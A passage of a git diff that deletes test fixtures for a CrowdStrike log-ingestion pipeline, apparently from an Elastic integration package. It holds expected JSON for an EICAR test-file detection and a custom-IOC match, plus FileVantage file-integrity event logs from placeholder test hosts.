"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "NetworkAccesses": [ - { - "AccessTimestamp": 1751371565, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.13", - "LocalPort": 49729, - "Protocol": "TCP", - "RemoteAddress": "150.171.27.12", - "RemotePort": 443 - }, - { - "AccessTimestamp": 1751371565, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.13", - "LocalPort": 49730, - "Protocol": "TCP", - "RemoteAddress": "2.22.144.74", - "RemotePort": 443 - }, - { - "AccessTimestamp": 1751371787, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.13", - "LocalPort": 49948, - "Protocol": "TCP", - "RemoteAddress": "2.18.27.89", - "RemotePort": 443 - } - ], - "Objective": "Follow Through", - "ParentCommandLine": "C:\\Windows\\system32\\userinit.exe", - "PatternDispositionDescription": "Detection, standard detection.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 0, - "PatternId": 10418, - "PlatformId": "0", - "PlatformName": "Windows", - "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 10, - "SeverityName": "Informational", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Execution", - "Technique": "User Execution", - "Type": "ldt" - }, - "device": { - "id": "cff45d56127743a593792fb968dac907" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Windows", - "hash": { - "md5": "23ba370fc8357f6f827812da142b5fcb", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7" - }, - "name": "explorer.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe" - }, - "host": { - "domain": "dave-win10-3", - "hostname": "dave-win10-3", - "mac": [ - "BA-D0-00-BA-D0-00" - ], - "name": "dave-win10-3" - }, - "message": "A process has written a known EICAR test file. Review the files written by the triggered process.", - "process": { - "command_line": "C:\\Windows\\Explorer.EXE", - "end": "1970-01-01T00:00:00.000Z", - "entity_id": "38850874557", - "executable": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", - "name": "explorer.exe", - "parent": { - "entity_id": "38850737845", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", - "name": "userinit.exe" - }, - "start": "2025-07-01T12:06:02.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7", - "23ba370fc8357f6f827812da142b5fcb" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "description": "A process has written a known EICAR test file. Review the files written by the triggered process.", - "name": "Known Malware" - }, - "source": { - "address": "10.0.0.13", - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2023-11-14T22:13:20.000Z", - "crowdstrike": { - "AgentIdString": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", - "AggregateId": "aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321", - "CloudIndicator": true, - "CompositeId": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321", - "CustomerIdString": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", - "DataDomains": "Endpoint", - "EventType": "Event_ExternalApiEvent", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", - "GrandparentCommandLine": "/usr/sbin/sshd -D -R", - "GrandparentImageFileName": "sshd", - "GrandparentImageFilePath": "/usr/sbin/sshd", - "HostGroups": [ - "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", - "b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7" - ], - "IOCType": "domain", - "IOCValue": "example.com", - "MACAddress": "00-11-22-33-44-55", - "NetworkAccesses": [ - { - "AccessTimestamp": "1700000001", - "AccessType": "0", - "IsIPV6": "false", - "LocalAddress": "192.168.1.100", - "LocalPort": "5353", - "Protocol": "UDP", - "RemoteAddress": "192.168.1.1", - "RemotePort": "53" - }, - { - "AccessTimestamp": "1700000001", - "AccessType": "0", - "IsIPV6": "false", - "LocalAddress": "192.168.1.100", - "LocalPort": "44300", - "Protocol": "TCP", - "RemoteAddress": "192.168.1.2", - "RemotePort": "443" - } - ], - "Nonce": "1234567890123456789", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "-bash", - "PatternDispositionDescription": "Detection, standard detection.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": "false", - "BootupSafeguardEnabled": "false", - "ContainmentFileSystem": "false", - "CriticalProcessDisabled": "false", - "Detect": "false", - "FsOperationBlocked": "false", - "HandleOperationDowngraded": "false", - "InddetMask": "false", - "Indicator": "false", - "KillActionFailed": "false", - "KillParent": "false", - "KillProcess": "false", - "KillSubProcess": "false", - "OperationBlocked": "false", - "PolicyDisabled": "false", - "ProcessBlocked": "false", - "QuarantineFile": "false", - "QuarantineMachine": "false", - "RegistryOperationBlocked": "false", - "Rooting": "false", - "SensorOnly": "false", - "SuspendParent": "false", - "SuspendProcess": "false" - }, - "PatternDispositionValue": 0, - "PatternId": "5306", - "PlatformId": "3", - "PlatformName": "Linux", - "SensorId": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", - "Severity": "10", - "SeverityName": "Informational", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Custom Intelligence", - "Technique": "Indicator of Compromise", - "Type": "ldt", - "cid": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", - "eid": "118" - }, - "device": { - "id": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" - }, - "event": { - "category": [ - "malware" - ], - "created": "2023-11-14T22:13:20.000Z", - "id": "||a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", - "kind": "alert", - "original": "{\"Tactic\":\"Custom Intelligence\",\"CustomerIdString\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":\"1234567890123456789\",\"SourceVendors\":\"CrowdStrike\",\"AggregateId\":\"aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321\",\"UTCTimestamp\":\"1700000000\",\"LogonDomain\":\"\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"CompositeId\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321\",\"Name\":\"Intel Detection\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SourceProducts\":\"Falcon Insight\",\"ProcessEndTime\":\"1700000001\",\"IOCValue\":\"example.com\",\"PatternId\":\"5306\",\"MitreAttack\":[{\"TacticID\":\"CSTA0005\",\"Tactic\":\"Custom Intelligence\",\"TechniqueID\":\"CST0005\",\"PatternID\":\"5306\",\"Technique\":\"Indicator of Compromise\"}],\"AgentId\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"ParentCommandLine\":\"-bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"DataDomains\":\"Endpoint\",\"LocalIPv6\":\"\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":\"false\",\"QuarantineFile\":\"false\",\"QuarantineMachine\":\"false\",\"HandleOperationDowngraded\":\"false\",\"Detect\":\"false\",\"RegistryOperationBlocked\":\"false\",\"KillParent\":\"false\",\"ContainmentFileSystem\":\"false\",\"Indicator\":\"false\",\"FsOperationBlocked\":\"false\",\"OperationBlocked\":\"false\",\"SuspendParent\":\"false\",\"SuspendProcess\":\"false\",\"KillProcess\":\"false\",\"ProcessBlocked\":\"false\",\"BlockingUnsupportedOrDisabled\":\"false\",\"PolicyDisabled\":\"false\",\"KillActionFailed\":\"false\",\"SensorOnly\":\"false\",\"CriticalProcessDisabled\":\"false\",\"KillSubProcess\":\"false\",\"Rooting\":\"false\",\"InddetMask\":\"false\"},\"Hostname\":\"test-host-01\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PlatformName\":\"Linux\",\"Nonce\":\"1234567890123456789\",\"Objective\":\"Falcon Detection Method\",\"ProcessStartTime\":\"1700000000\",\"Technique\":\"Indicator of Compromise\",\"cid\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"eid\":\"118\",\"Description\":\"A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.\",\"FileName\":\"curl\",\"ParentImageFileName\":\"bash\",\"HostGroups\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6,b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7\",\"LocalIP\":\"192.168.1.100\",\"PlatformId\":\"3\",\"timestamp\":\"2023-11-15T12:00:00Z\",\"GrandParentImageFileName\":\"sshd\",\"FilePath\":\"/usr/bin/curl\",\"UserName\":\"testuser\",\"MD5String\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5\",\"SeverityName\":\"Informational\",\"Severity\":\"10\",\"CloudIndicator\":\"true\",\"PatternDispositionValue\":\"0\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\",\"SHA256String\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"NetworkAccesses\":[{\"AccessTimestamp\":\"1700000001\",\"RemoteAddress\":\"192.168.1.1\",\"LocalAddress\":\"192.168.1.100\",\"LocalPort\":\"5353\",\"RemotePort\":\"53\",\"IsIPV6\":\"false\",\"Protocol\":\"UDP\",\"AccessType\":\"0\"},{\"AccessTimestamp\":\"1700000001\",\"RemoteAddress\":\"192.168.1.2\",\"LocalAddress\":\"192.168.1.100\",\"LocalPort\":\"44300\",\"RemotePort\":\"443\",\"IsIPV6\":\"false\",\"Protocol\":\"TCP\",\"AccessType\":\"0\"}],\"CommandLine\":\"curl https://example.com\",\"Type\":\"ldt\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"MACAddress\":\"00-11-22-33-44-55\",\"AgentIdString\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"IOCType\":\"domain\",\"ProcessId\":\"1234567890123456789\"}", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "directory": "/usr/bin", - "hash": { - "md5": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" - }, - "name": "curl", - "path": "/usr/bin/curl" - }, - "host": { - "hostname": "test-host-01", - "mac": [ - "00-11-22-33-44-55" - ], - "name": "test-host-01" - }, - "message": "A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.", - "process": { - "command_line": "curl https://example.com", - "end": "2023-11-14T22:13:21.000Z", - "entity_id": "1234567890123456789", - "executable": "/usr/bin/curl", - "name": "curl", - "parent": { - "entity_id": "1234567890123456789", - "executable": "/usr/bin/bash", - "name": "bash" - }, - "start": "2023-11-14T22:13:20.000Z", - "uptime": 0 - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", - "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5" - ], - "hosts": [ - "test-host-01" - ], - "ip": [ - "192.168.1.100" - ], - "user": [ - "testuser" - ] - }, - "rule": { - "description": "A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.", - "name": "Intel Detection" - }, - "source": { - "address": "192.168.1.100", - "ip": "192.168.1.100" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "id": [ - "CSTA0005" - ], - "name": [ - "Custom Intelligence" - ] - }, - "technique": { - "id": [ - "CST0005" - ], - "name": [ - "Indicator of Compromise" - ] - } - }, - "user": { - "name": "testuser" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log deleted file mode 100644 index 759ada717a..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log +++ /dev/null @@ -1,4 +0,0 @@ -{"ChangeId":"808ac387293943aaadf692926d5672e4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1763453435328,"Nonce":946031236533752407,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"808ac387-2939-43aa-adf6-92926d5672e4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-11-18T08:10:35Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} -{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":1314049827115114419,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} -{"ChangeId":"26a2448c6c174cac8cd2b46b74fe93ed","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":"adb"},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1763453435173,"Nonce":8348878083986819890,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"26a2448c-6c17-4cac-8cd2-b46b74fe93ed","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-11-18T08:10:35Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} -{"ChangeId":"784c387c806a4adda54f83bc938d022d","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"root","ID":"0"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764940158406,"Nonce":7339193177690829435,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"784c387c-806a-4add-a54f-83bc938d022d","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-05T13:09:18Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json deleted file mode 100644 index 88ed6247f2..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json +++ /dev/null @@ -1,264 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2025-11-18T08:10:35.328Z", - "crowdstrike": { - "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d", - "ChangeId": "808ac387293943aaadf692926d5672e4", - "ContentDiff": { - "Exists": false - }, - "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70", - "EventType": "Event_ExternalApiEvent", - "EventUUID": "808ac387-2939-43aa-adf6-92926d5672e4", - "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched", - "Nonce": 946031236533752407, - "Policy": { - "ID": "8fd42a5c9ac24959a98d9e430837b5e6", - "Name": "FileVantage Policy" - }, - "Prevalence": { - "Key": "1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser" - }, - "Suppression": { - "Suppressed": false - }, - "cid": "2cc98db1a47b4c98b913c94d43bfab70", - "eid": 118 - }, - "event": { - "category": [ - "file" - ], - "created": "2025-11-18T08:10:35.328Z", - "id": "||2cc98db1a47b4c98b913c94d43bfab70", - "kind": "event", - "original": "{\"ChangeId\":\"808ac387293943aaadf692926d5672e4\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1763453435328,\"Nonce\":946031236533752407,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"808ac387-2939-43aa-adf6-92926d5672e4\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-11-18T08:10:35Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}", - "type": [ - "change" - ] - }, - "host": { - "hostname": "LINUX-TEST-HOST-01", - "name": "LINUX-TEST-HOST-01" - }, - "related": { - "hosts": [ - "LINUX-TEST-HOST-01" - ], - "user": [ - "testuser", - "1000" - ] - }, - "rule": { - "name": "/home/testuser/filevantage/", - "ruleset": "FileVantage Rule Group" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "1000", - "name": "testuser" - } - }, - { - "@timestamp": "2025-12-01T09:26:57.862Z", - "crowdstrike": { - "AgentIdString": 